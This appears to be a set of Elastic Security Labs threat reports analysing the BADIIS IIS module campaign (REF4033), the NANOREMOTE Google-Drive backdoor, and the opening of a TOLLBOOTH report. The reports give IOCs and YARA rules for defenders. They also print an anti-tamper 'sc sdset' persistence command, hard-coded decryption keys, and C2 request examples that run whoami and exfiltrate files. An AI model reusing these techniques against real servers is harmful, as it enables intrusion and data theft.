REF4033 is a Chinese-speaking cybercrime group responsible for a massive, coordinated SEO poisoning campaign that has compromised more than 1,800 Windows web servers worldwide using a malicious IIS module called BADIIS.

The campaign operates through a two-phase process:

First, it serves keyword-stuffed HTML to search engine crawlers to poison search results, and
Next, it redirects victims to a sprawling "vice economy" of illicit gambling platforms, pornography, and sophisticated cryptocurrency phishing sites, such as a fraudulent clone of the Upbit exchange.

By deploying the BADIIS malware, a malicious IIS module that integrates directly into a web server's request processing pipeline, the group hijacks the web servers for legitimate government, educational, and corporate domains. This high-reputation infrastructure is used to manipulate search engine rankings, thereby allowing attackers to intercept web traffic and facilitate widespread financial fraud.

Intrusion activity

In November 2025, Elastic Security Labs observed post-compromise activity from a Windows IIS server from an unknown attack vector. This threat actor moved quickly, progressing from initial access to IIS module deployment in less than 17 minutes. The initial enumeration was performed via a webshell running under the IIS worker process (w3wp.exe). The attacker conducted initial discovery and then created a new user account.

Shortly after the account was created and added to the Administrators group, Elastic Defend generated several alerts related to a newly created Windows service, WalletServiceInfo. The service loaded an unsigned ServiceDLL (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.dll) and subsequently executed direct syscalls from the module.

Next, we saw the threat actor harden their access by using a program called D-Shield Firewall. This software provides additional security features for IIS servers, including preventive protections and capabilities to add network restrictions. To proceed with the investigation, we used the observed imphash (1e4b23eee1b96b0cc705da1e7fb9e2f3) of the loader (C:\ProgramData\Microsoft\Windows\Ringtones\CbsMsgApi.exe) to obtain a loader sample from VirusTotal for our analysis.

To collect a sample of the malicious DLL used by this loader, we performed a VirusTotal search on the name (CbsMsgApi.dll). We found 7 samples submitted using the same filename. The group behind this appears to have been using a similar codebase since September 2024. Most of these samples employ VMProtect, a commercial code-obfuscation framework, to hinder static and dynamic analysis. Fortunately, we used an older, non-protected sample to gain additional insight into this attack chain.

Code analysis - CbsMsgApi.exe

The group employs an attack workflow that requires several files staged by the attacker to deploy the malicious IIS module. The execution chain begins with the PE executable, CbsMsgApi.exe. This file contains Chinese Simplified strings, including the PDB string (C:\Users\Administrator\Desktop\替换配置文件\w3wpservice-svchost\x64\Release\CbsMsgApi.pdb).

After launch, this program creates a Windows service, WalletServiceinfo, which configures a ServiceDLL (CbsMsgApi.dll) that runs under svchost.exe, similar to this persistence technique.

This newly created service focuses on stealth and anti-tampering by modifying the security descriptor of the service with the following command-line:

sc sdset "WalletServiceInfo" "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Code analysis - CbsMsgApi.dll

The main component of this attack sequence is the ServiceDLL (CbsMsgApi.dll). The malicious DLL stages the BADIIS IIS native modules and alters the IIS configuration to load them into the request pipeline of the DefaultAppPool.

During this attack, the threat actor stages three files masquerading within the System32\drivers folder:

C:\Windows\System32\drivers\WUDFPfprot.sys
C:\Windows\System32\drivers\WppRecorderpo.sys
C:\Windows\System32\drivers\WppRecorderrt.sys

Two of these files (WppRecorderrt.sys, WppRecorderpo.sys) represent the malicious 32-bit / 64-bit BADIIS modules. The other file (WUDFPfprot.sys) represents configuration elements that will be injected into the IIS’s existing configuration. Below is an example configuration used during our analysis. Of note is the module name WsmRes64 (more information on this DLL is detailed in the IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll) section below):

The malware uses the CopyFileA function to move the contents from the masqueraded files into the .NET directory (C:\Windows\Microsoft.NET\Framework).

Next, the malware parses the DefaultAppPool.config file, examining each node to update the and nodes. The module will inject configuration content from the previously masqueraded file (WUDFPfprot.sys), updating the IIS configuration via a series of append operations.

Below is an example of the newly added global module entry that references the BADIIS DLL.

Upon successful execution, the BADIIS module is installed on the IIS server and becomes visible as a loaded module in the w3wp.exe worker process.

IIS Modules Analysis (WsmRes32.dll / WsmRes64.dll)

The following section will describe the functionality of BADIIS modules. These modules facilitate the conditional injection or redirection of malicious SEO content based on criteria such as the User-Agent or Referer header value. This technique ensures that malicious content remains hidden during normal use, thereby allowing the modules to remain undetected for as long as possible.

Upon initialization, the module downloads content from URLs defined in its configuration. These URLs are stored in an encrypted format and decrypted using the SM4 algorithm (a Chinese national standard block cipher) in ECB mode with the key “1111111122222222”. In older samples, the AES-128 ECB algorithm was used instead.

Each URL in the configuration points to a static .txt file that contains a second-stage resource. The list below details these source files and their specific roles:

These URLs point to region-specific files, prefixed with the corresponding country code. While the examples above focus on Korea (hxxp://kr.domain.com), equivalent files exist for other regions, such as Vietnam (VN), where filenames are prefixed with "vn" rather than "kr"(hxxp://vn.domain.com).

The BADIIS module registers within the request processing pipeline, positioning itself as both the first and the last handler. For each request, the module verifies specific properties and selects an injection or redirection strategy based on the results. We have three types of injection:

To distinguish between bot and human traffic, the module checks against the following list of Referers and User-Agents.

Referers: bing, google, naver, daum
User agents: bingbot, Googlebot, Yeti, Daum

The default injection strategy targets search engine crawlers accessing a legitimate page on the compromised site.

In this scenario, the SEO backlinks are retrieved from the secondary link and injected into the page to be crawled by search engine bots. The downloaded backlinks that are injected into the infected page primarily target other local pages within the domain, whereas the remainder point to pages on other infected domains. This is a key aspect of the link-farming strategy, which involves creating large networks of sites that link to one another and manipulate search rankings.

The local pages linked by the backlinks do not exist on the infected domain, so visiting them results in a 404 error. However, when the request is intercepted, the malware checks two conditions: whether the status code is not 200 or 3xx, and whether the browser's User-Agent matches a crawler bot. If so, it downloads content from an SEO page hosted on its infrastructure (via a link in the *fmldz.txt file from its configuration URL) and returns a 200 response code to the bot. This target URL is built using 'domain' and 'uri' parameters that contain the infected domain name and the resource the crawler originally attempted to access.

Finally, if a user requests a page that does not exist and arrives with a Referer header value listed by the malware, the page is replaced by a third type of content: a landing page with a loading bar. This page uses JavaScript to redirect the user to the link contained in the *fmltz.txt file, which is obtained via its configuration link.

Optionally, if enabled, the request is executed only when the User-Agent matches a mobile phone, ensuring the server targets mobile users exclusively.

The list of mobile User-Agents is listed below:

Devices: iPhone, iPad, iPod, iOS, Android, uc (UC Browser), BlackBerry, HUAWEI

If the option is enabled and the infected server's IP address matches the subnet list in the google.css file downloaded from the *fmlip.txt file, the server serves the standard SEO content instead of the landing/redirection page.

The landing page includes JavaScript code containing an analytics tag—either Google Analytics or Baidu Tongji, depending on the target region—to monitor redirections. While the exact reason for using server IP filtering to restrict traffic remains unclear, we speculate that it is linked to these analytics and implemented for SEO purposes.

We identified the following Google tags across the campaign:

G-2FK43E86ZM
G-R0KHSLRZ7N

As well as a Baidu Tongji tag:

B59ff1638e92ab1127b7bc76c7922245

Campaign Analysis

Based on similarity in URL patterns (fml__.txt, fml/index.php), we discovered an older campaign dating back to mid-2023 that was using the following domains as the configuration server.

tz123[.]app
tz789[.]app

tz123[.]app was disclosed in a Trend Micro BADIIS campaign summary IOC list, published in 2024 . Based on the first submission dates on VT for samples named ul_cache.dll and communicating with hxxp://tz789[.]app/brfmljs[.]txt, some are also submitted under the filename WsmRes64.dll. This naming convention is consistent with the BADIIS loader component analyzed in the prior section. The earliest sample we discovered on VT was first submitted on 2023-12-12.

For REF4033, the infrastructure is split between two primary configuration servers.

Recent campaigns (gotz003[.]com): Currently serves as the primary configuration hub. Further analysis has identified 5 active subdomains categorized by country codes:
kr.gotz003[.]com (South Korea)
vn.gotz003[.]com (Vietnam)
cn.gotz003[.]com (China)
cnse.gotz003[.]com (China)
bd.gotz003[.]com (Bangladesh)
Legacy infrastructure (jbtz003[.]com): Used in older campaign iterations, though several subdomains remain operational:
br.jbtz003[.]com (Brazil)
vn.jbtz003[.]com (Vietnam)
vnbtc.jbtz003[.]com (Vietnam)
in.jbtz003[.]com (India)
cn.jbtz003[.]com (China)
jp.jbtz003[.]com (Japan)
pk.jbtz003[.]com (Pakistan)

At its core, the recent campaign monetizes compromised servers by redirecting users to a vast network of illicit websites. The campaign is heavily invested in the vice economy, targeting Asian audiences, such as unregulated online casinos, pornography streaming, and explicit advertisements for prostitution services.

It also poses a direct financial threat. One example was a fraudulent cryptocurrency staking platform hosted at uupbit[.]top, impersonating Upbit, South Korea’s largest cryptocurrency exchange.

!www.uupbit[.]top - from urlscan.io

The campaign’s targeting logic largely mirrors the compromised infrastructure's geography, establishing a correlation between the server’s location and the user’s redirection target. For instance, compromised servers in China funnel traffic to local gambling sites, while those in South Korea redirect to the fraudulent Upbit phishing site. The exception to this pattern involved compromised infrastructure in Bangladesh, which the actors configured HTTP redirects to point to non-local, Vietnamese gambling sites.

We have observed several different redirection loading pages throughout the clusters. Below is an example of the user redirection template for a sample targeting VN victim infrastructure. This template uses a Google tag and is very similar to one of the templates described in Cisco Talos’ UAT-8099 research.

A more consistent template observed across the victim clusters is shown in the snippet below, particularly the progress bar logic. Since the sample targets CN victim infrastructure, Baidu Tongji is used for tracking victim redirection.

We discovered several clusters (some with overlaps) of compromised servers from URLs containing backlinks in the following list:

http://kr.gotz001[.]com/lunlian/index.php
http://se.gotz001[.]com/lunlian/index.php
https://cn404.gotz001[.]com/lunlian/index.php
https://cnse.gotz001[.]com/lunlian/index.php
https://cn.gotz001[.]com/lunlian/index.php
https://cn.gotz001[.]com/lunlian/indexgov.php
https://vn404.gotz001[.]com/lunlian/index.php
https://vn.gotz001[.]com/lunlian/index.php
http://bd.gotz001[.]com/lunlian/index.php
http://vn.jbtz001[.]com/lunlian/index.php
https://vnse.jbtz001[.]com/lunlian/index.php
https://vnbtc.jbtz001[.]com/lunlian/index.php
https://in.jbtz001[.]com/lunlian/index.php
https://br.jbtz001[.]com/lunlian/index.php
https://cn.jbtz001[.]com/lunlian/index.php
https://jp.jbtz001[.]com/lunlian/index.php
https://pk.jbtz001[.]com/lunlian/index.php

!Link farm content at https://vn404[.]gotz001[.]com/lunlian/index.php

Within the scope of REF4033, more than 1800 servers were impacted globally, and the campaign demonstrates a clear geographic focus on the APAC region, with China and Vietnam accounting for approximately 82% of all observed compromised servers (46.1% and 35.8%, respectively). Secondary concentrations are observed in India (3.9%), Brazil (3.8%), and South Korea (3.4%), although these represent a minority of the overall campaign footprint. Notably, approximately 30% of compromised servers reside on major cloud platforms, including Amazon Web Services, Microsoft Azure, Alibaba Cloud, and Tencent Cloud. The remaining 70% of victims are distributed across regional telecommunications providers.

The victim profile spans diverse sectors, including government agencies, educational institutions, healthcare providers, e-commerce platforms, media outlets, and financial services, indicating large-scale opportunistic exploitation rather than targeted exploitation. Government and public administration systems represent approximately 8% of identified victims across at least 5 countries (.gov.cn, .gov.br, .gov.bd, .gov.vn, .gov.in, .leg.br).

REF4033 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Remediating REF4033

Prevention

YARA

Elastic Security has created YARA rules to identify this activity.

Observations

The following observables were discussed in this research.

References

The following were referenced throughout the above research:

NANOREMOTE, cousin of FINALDRAFT

Daniel Stepanic — Thu, 11 Dec 2025 00:00:00 GMT

Introduction

In October 2025, Elastic Security Labs discovered a newly-observed Windows backdoor in telemetry. The fully-featured backdoor we call NANOREMOTE shares characteristics with malware described in REF7707 and is similar to the FINALDRAFT implant.

One of the malware’s primary features is centered around shipping data back and forth from the victim endpoint using the Google Drive API. This feature ends up providing a channel for data theft and payload staging that is difficult for detection. The malware includes a task management system used for file transfer capabilities that include queuing download/upload tasks, pausing/resuming file transfers, canceling file transfers, and generating refresh tokens.

This report aims to enhance awareness among defenders and organizations regarding the threat actors we are monitoring and their evolving capabilities.

Key takeaways

Elastic Security Labs discovers a new Windows backdoor
NANOREMOTE likely developed by espionage threat actor linked to FINALDRAFT and REF7707
NANOREMOTE includes command execution, discovery/enumeration and file transfer capabilities using Google Drive API
The backdoor integrates functionality from open-source projects including Microsoft Detours and libPeConv
Elastic Defend prevents the NANOREMOTE attack chain through behavioral rules, machine learning classifier, and memory protection features

NANOREMOTE analysis

WMLOADER

The observed attack chain consists of two primary components, a loader (WMLOADER) and payload (NANOREMOTE). Although this report focuses on NANOREMOTE, we will describe the loader to provide context on the overall infection flow.

WMLOADER masquerades as a Bitdefender Security program (BDReinit.exe) with an invalid digital signature.

After execution, the program makes a large number of calls to Windows functions (VirtualAlloc / VirtualProtect), preparing the process to host embedded shellcode stored within the file. The shellcode is located at RVA (0x193041) and decrypted using a rolling XOR algorithm.

This shellcode looks for a file named wmsetup.log in the same folder path as WMLOADER then starts decrypting it using AES-CBC with a 16-byte ASCII key (3A5AD78097D944AC). After decryption, the shellcode executes the in-memory backdoor, NANOREMOTE.

Based on the previous shellcode decryption routine, we can identify other related samples targeting Bitdefender and Trend Micro products when searching in VirusTotal.

NANOREMOTE

NANOREMOTE is a fully-featured backdoor that can be used to perform reconnaissance, execute files and commands, and transfer files to and from victim environments. The implant is a 64-bit Windows executable written in C++ without obfuscation.

NANOREMOTE Configuration

The NANOREMOTE sample we observed was preconfigured to communicate with a hard-coded non-routable IP address. We believe the program was generated from a builder as we do not see any cross-references pointing to a configuration setting.

For the Google Drive API authentication, NANOREMOTE uses a pipe-separated configuration that can use multiple clients. The |*| separator splits the fields used by a single client and the |-| is used as a marker to separate the clients. There are three fields per client structure:

Client ID
Client Secret
Refresh Token

Below is an example of the format:

Client_ID_1|*|Client_Secret_1|*|Refresh_Token_1|-|Client_ID_2|*|Client_Secret_2|*|Refresh_Token_2

The developer has a fallback mechanism to accept this configuration through an environment variable named NR_GOOGLE_ACCOUNTS.

Interface/Logging

NANOREMOTE provides a detailed console displaying the application's real-time activity, including timestamps, source code locations, and descriptions of its behaviors.

A new Windows directory is created in the same location where NANOREMOTE was executed, the folder is called Log.

A newly created log file (pe_exe_run.log) is dropped in this folder containing the same output printed from the console.

Setup

There is an initial setup routine by NANOREMOTE before the main worker loop starts. The malware generates a unique GUID via CoCreateGuid then hashes the GUID using the Fowler-Noll-Vo (FNV) function. This GUID is used by the operator to identify individual machines during each request.

The malware developer has a process-wide crash handler to create a Windows minidump of the running process when an unhandled exception occurs, this is most likely being used to triage program crashes.

The exception will produce the dump before terminating the process. This is a pretty standard practice although the MiniDumpWithFullMemory might be considered less common in legitimate software as it could end up producing larger sized dumps and contain sensitive data.

A quick Google search using the same string formatter for the dump file (%d%02d%02d%02d%02d%02d_sv.dmp) listed only 1 result from a Chinese-based software development website.

Network Communication

As mentioned previously, NANOREMOTE’s C2 communicates with a hard-coded IP address. These requests occur over HTTP where the JSON data is submitted through POST requests that are Zlib compressed and encrypted with AES-CBC using a 16-byte key (558bec83ec40535657833d7440001c00). The URI for all requests use /api/client with User-Agent (NanoRemote/1.0).

Below is the CyberChef recipe used for the C2 encryption/compression:

Each request prior to encryption, follows a schema consisting of:

Command ID: Associated command handler ID
Data: Command-specific object containing key/value pairs required by the corresponding handler
ID: Unique machine identifier assigned to the infected host

Below is an example of a request that triggers execution of whoami via the command key inside the data object:

{
    "cmd": 21,
    "data": {
        "command": "whoami"
    },
    "id": 15100174208042555000
}

Each response follows a similar format using the previous fields along with two additional fields.

Output: Contains any output from the previously requested command handler
Success: Boolean flag used to determine if command was successful or not

Below is an example of the response from the previous whoami command:

{
    "cmd": 21,
    "data": 0,
    "id": 17235741656643013000,
    "output": "desktop-2c3iqho\\rem\r\n",
    "success": true
}

Command Handlers

NANOREMOTE’s main functionality is driven through its 22 command handlers. Below is a control-flow graph (CFG) diagram showcasing the switch statement used to dispatch the different handlers.

Below is the command handler table:

| Command ID | Description | | :---- | :---- | | #1 | Collect host-based information | | #2 | Modify beacon timeout | | #3 | Self-termination | | #4 | List folder contents by path | | #5 | List folder contents by path and set working directory | | #6 | Get storage disk details | | #7 | Create new directory | | #8 #9 | Delete directory/files | | #10 #11 | Teardown (Clear cache, cleanup) | | #12 | PE loader - Execute PE from disk | | #13 | Set working directory | | #14 | Get working directory | | #15 | Move file | | #16 | Queue download task via Google Drive | | #17 | Queue upload task via Google Drive | | #18 | Pause download/upload transfer | | #19 | Resume download/upload transfer | | #20 | Cancel file transfer | | #21 | Command execution | | #22 | PE loader - Execute PE from memory |

Handler #1 - Collect host-based information

This handler enumerates system and user details to profile the victim environment:

Uses WSAIoctl with SIO_GET_INTERFACE_LIST to retrieve internal and external IP address
Grabs username via GetUserNameW
Retrieves the hostname via GetComputerNameW
Checks if current user is member of Administrator group via IsUserAnAdmin
Retrieves the process path used by the malware using GetModuleFileNameW
Retrieves operating‑system information (product build) from the registry using the WinREVersion and ProductName value names
Gets process ID of running program via GetCurrentProcessID

Below is an example of the data sent to the C2 server:

{
    "cmd": 1,
    "data": {
        "Arch": "x64",
        "ExternalIp": "",
        "HostName": "DESKTOP-2C3IQHO",
        "ID": 8580477787937977000,
        "InternalIp": "192.168.1.1",
        "OsName": "Windows 10 Enterprise ",
        "ProcessID": 304,
        "ProcessName": "pe.exe",
        "SleepTimeSeconds": 0,
        "UID": 0,
        "UserName": "REM *"
    },
    "id": 8580477787937977000
}

Handler #2 - Modify beacon timeout

This handler modifies the beacon timeout interval for NANOREMOTE’s C2 communication, the malware will sleep based on the number of seconds provided by the operator.

Below is an example of this request where NANOREMOTE uses the key (interval) with a value (5) to modify the beacon timeout to 5 seconds.

{
    "cmd": 2,
    "data": {
        "interval": 5
    },
    "id": 15100174208042555000
}

Handler #3 - Self-termination

This handler is responsible for setting a global variable to 0 effectively signaling the teardown and process exit for NANOREMOTE.

Handler #4 - List folder contents by path

This handler lists the folder contents using a provided file path from the operator. The listing for each item includes:

Whether the item is a directory or not
Whether the item is marked as hidden
Last modified date
File name
Size

Handler #5 - List folder contents and set working directory

This handler uses the same code as the previous handler (#4), the only difference is that it sets the current working directory of the process to the provided path as well.

Handler #6 - Get Storage Disk Info

This handler uses the following Windows API functions to collect storage disk information from the machine:

GetLogicalDrives
GetDiskFreeSpaceExW
GetDriveTypeW
GetVolumeInformationW

Below is an example of the request in JSON showing the data returned:

{
    "cmd": 6,
    "data": {
        "items": [
            {
                "free": 26342813696,
                "name": "C:",
                "total": 85405782016,
                "type": "Fixed"
            }
        ]
    },
    "id": 16873875158734957000,
    "output": "",
    "success": true
}

Handler #7 - Create new folder directory

This command handler creates a new directory based on a provided path.

Handler #8, #9 - Delete file, directory

This handler supports both #8 and #9 command ID’s, the branching is dynamically chosen based on the provided file path. It has the ability to delete files or a specified folder.

Handler #10, #11 - Teardown/Cleanup

These two handlers call the same teardown function using different arguments to recursively release heap allocations, internal C++ objects, and cached data associated with the malware’s runtime. This purpose is to clean up the command structures and prevent memory leaks or instability.

Handler #12 - Custom PE Loader - Execute PE from disk

This handler includes a custom PE loading capability for files that exist on disk. This functionality leverages standard Windows APIs along with helper code from library libPeConv to load PE files from disk without using the traditional Windows loader.

In short, it will read a PE file from disk, copy the file into memory, manually map the sections/headers, preparing the file before finally executing it in memory. This implementation is a deliberate technique for stealth and evasion bypassing user-mode hooking and traditional visibility. As one example, when a file is executed through this technique, there is no trace of this executable being launched using procmon.

Below is the following input for this handler where the local file path is provided under the key (args):

{
    "cmd": 12,
    "data": {
        "args": "C:\\tmp\\mare_test.exe"
    },
    "id": 15100174208042555000
}

The following screenshot shows successful execution of our test executable using this technique:

During this analysis, one interesting note is the adoption of the libPeConv library, this is a great and useful project that we ourselves use internally for various malware-related tasks. The developer of NANOREMOTE uses several functions from this library to simplify common tasks related to manually loading and executing PE files in memory. Below are the functions used by the library found in NANOREMOTE:

default_func_resolver: Resolves functions in a PE file by dynamically loading DLLs and retrieving the addresses of exported functions.
hooking_func_resolver: Retrieve the virtual address of a function by name from a loaded DLL.
FillImportThunks: Populates the import table by resolving each imported function to its actual address in memory.
ApplyRelocCallback: Applies base relocations when a PE file is loaded at an address different from its preferred base.

Another notable observation in this handler is the use of the open-source hooking library, Microsoft Detours. This library is used to intercept the following Windows functions:

GetStdHandle
RtlExitUserThread
RtlExitUserProcess
FatalExit
ExitProcess

This runtime hooking routine intercepts termination‑related functions to enforce controlled behavior and improve resiliency. For example, NANOREMOTE prevents a failure in a single worker thread from terminating the entire NANOREMOTE process.

Handler #13 - Set working directory

This handler sets the working directory to a specific directory using the key (path). Below is an example request:

{
    "cmd": 13,
    "data": {
        "path": "C:\\tmp\\Log"
    },
    "id": 15100174208042555000
}

Handler #14 - Get working directory

This handler retrieves the current working directory, below is an example response after setting the directory with previous handler (#13).

{
    "cmd": 14,
    "data": 0,
    "id": 11010639976590963000,
    "output": "[+] pwd output:\r\nC:\\tmp\\Log\r\n",
    "success": true
}

Handler #15 - Move File

This handler allows the operator to move files around the victim machine using MoveFileExW with two arguments (old_path, new_path) moving the file to a different folder by performing a copy and delete file operation.

Handler #16 - Queue Download Task

This handler creates a download task object with a provided task_id then enqueues the task into the download queue. This implementation uses OAuth 2.0 tokens to authenticate requests to the Google Drive API. This functionality is used by the threat actor to download files to the victim machine. The encrypted communication to Google’s servers makes this traffic appear legitimate, leaving organizations unable to inspect or differentiate it from normal use.

Inside the main worker thread, there is a global variable used to track queue objects and process the awaiting tasks by the malware.

A task is processed using various fields provided by the C2 server:

type
task_id
file_id
target_path
file_size
md5

When a download task is processed, NANOREMOTE will retrieve the size of the file hosted on Google Drive using the file ID (1BwdUSIyA3WTUrpAEEDhG0U48U9hYPcy7). Next, the malware will download the file via WinHttpSendRequest then use WinHttpWriteData to write the file on the machine.

Below is the console output showing this download process:

This malware feature poses a unique challenge for organizations as threat groups continue to abuse trusted cloud platforms for data exfiltration and payload hosting. This traffic without any context can easily blend in with legitimate traffic making detection difficult for defenders who rely on network visibility.

Handler #17 - Queue Upload Task

This handler works in similar fashion as the previous handler (#16), instead it is creating an upload queue task and enqueuing the task into the upload queue. This handler is used by the threat actor to upload files from the victim machine to the adversary’s controlled Google Drive account.

The following fields are provided by the operator through the C2 server:

type
task_id
upload_name
source_path
file_size
md5

Below is the network traffic generated by the malware when uploading a test file via the Google Drive API (/upload/drive/v3/files).

The below figure shows the console during this upload process.

Below is a screenshot of the previous demonstration using the file upload feature with our own Google Drive test account.

Below is the response from this handler:

{
    "cmd": 17,
    "data": {
        "file_id": "1qmP4TcGfE2xbjYSlV-AVCRA96f6Kp-V7",
        "file_name": "meow.txt",
        "file_size": 16,
        "md5": "1e28c01387e0f0229a3fb3df931eaf80",
        "progress": 100,
        "status": "uploaded",
        "task_id": "124"
    },
    "id": 4079875446683087000,
    "output": "",
    "success": true
}

Handler #18 - Pause download/upload transfer

This handler allows the operator to pause any download and upload tasks managed by NANOREMOTE by passing the task_id.

Handler #19 - Resume download/upload transfer

This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.

Handler #20 - Cancel file transfer

This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.

Handler #21 - Command Execution

This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.

The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.

Handler #22 - Execute encoded PE from memory

This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.

Below is an example showing the console output using test program:

Similarity to FinalDraft

There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.

Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the Fowler-Noll-Vo (FNV) function and performing identical heap-validation checks before freeing the buffer.

A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.

During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we published earlier in the year.

Another interesting finding is that we discovered a sample (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.

We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the wmsetup.log file, revealing a FINALDRAFT implant.

Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.

Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.

NANOREMOTE through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that threats use against enterprise networks.

Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.

Techniques

Techniques represent how an adversary achieves a tactical goal by performing an action.

Mitigating NANOREMOTE

Within a lab environment executing NANOREMOTE, there were many different alerts triggered using Elastic Defend.

One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.

The PE loading technique using the Base64 encoded file from the C2 server was also detected via Memory Threat Detection Alert: Shellcode Injection alert.

Detection/Prevention

Potential Evasion with Hardware Breakpoints
Potential Evasion via Invalid Code Signature
Unbacked Shellcode from Unsigned Module
Shellcode Execution from Low Reputation Module
Image Hollow from Unusual Stack
Connection to Commonly Abused Webservices
Memory Threat Detection Alert: Shellcode Injection

YARA

Elastic Security has created YARA rules to identify this activity.

rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-11-17"
        last_modified = "2025-11-19"
     license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.NanoRemote"

    strings:
        $str1 = "/drive/v3/files/%s?alt=media" ascii fullword
        $str2 = "08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X" ascii fullword
        $str3 = "NanoRemote/" wide
        $str4 = "[+] pwd output:" wide
        $str5 = "Download task %s failed: write error (wrote %llu/%zu bytes)"
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}

rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = "Elastic Security"
        creation_date = "2025-12-03"
        last_modified = "2025-12-03"
       license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.WMLoader"
        reference_sample = "fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902"

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}

Observations

The following observables were discussed in this research.

TOLLBOOTH: What's yours, IIS mine

Wed, 22 Oct 2025 00:00:00 GMT

Introduction

In September 2025, Texas A&M University System (TAMUS) Cybersecurity, a managed detection and response provider in collaboration with Elastic Security Labs, discovered post-exploitation activity by a Chinese-speaking threat actor who installed a malicious IIS module, which we are calling TOLLBOOTH. During this time, we observed a Godzilla-forked webshell framework, the use of the Remote Monitoring and Management (RMM) tool GotoHTTP, along with a malicious driver used to conceal their activity. The threat actor exploited a misconfigured IIS web server that used ASP.NET machine keys found in public resources, such as Microsoft’s documentation or StackOverflow support pages.

A similar chain of events was first reported by Microsoft in February, earlier this year. Our team believes this is the continuation of the same threat activity that AhnLab also detailed in April, based on similar malware and behaviors. During this event, we were able to leverage our partnership with Texas A&M System Cybersecurity to collect insights around the activity. Additionally, through collaboration with Validin, leveraging their global scanning infrastructure, we’ve determined that organizations worldwide have been impacted by this campaign. The following report will detail the events and tooling used in this activity cluster, known as REF3927. Our hope is to raise more awareness of this activity among defenders and organizations, as it is actively being abused at a global scale.

Key takeaways

Threat actors are abusing misconfigured IIS servers using publicly exposed machine keys
Post-compromise behaviors include using a malicious driver, remote monitoring tooling, credential dumping, webshell deployment, and IIS malware
Threat actors adapted the open source “Hidden” rootkit project to hide their presence
The main objective appears to be to install an IIS backdoor, called TOLLBOOTH, that includes SEO cloaking and webshell capabilities
This campaign included large-scale exploitation across geographies and industry verticals

Campaign Overview

Attack vector

Last month, Elastic Security Labs and Texas A&M System Cybersecurity investigated an intrusion involving a misconfigured Windows IIS server. This was directly related to a server configured with ASP.NET machine keys that were previously published on the Internet. Machine keys used in ASP.NET applications refer to cryptographic keys used to encrypt and validate data. These keys are composed of two parts, ValidationKey and DecryptionKey, which are used to secure ASP.NET features such as ViewState and authentication cookies.

ViewState is a mechanism used by ASP.NET web applications to preserve the state of a page and its controls across HTTP requests. Since HTTP is a stateless protocol, ViewState allows data to be collected when the page is submitted and rendered again. This data is stored in a hidden field (__VIEWSTATE) on the page that is serialized and encoded in Base64. This ViewState field is susceptible to deserialization attacks, allowing an attacker to forge payloads using the application's machine keys. We have reason to believe this is part of an opportunistic campaign targeting Windows web servers using publicly exposed machine keys.

Below is an example of this type of deserialization attack, demonstrated via a POST request in a virtual environment using an open source .NET deserialization payload generator. The __VIEWSTATE field contains a URL-encoded and Base64-encoded payload that will perform a whoami and write a file to a directory. With a successful exploitation request, the server will respond with an HTTP/1.1 500 Internal Server Error.

Post-compromise activity

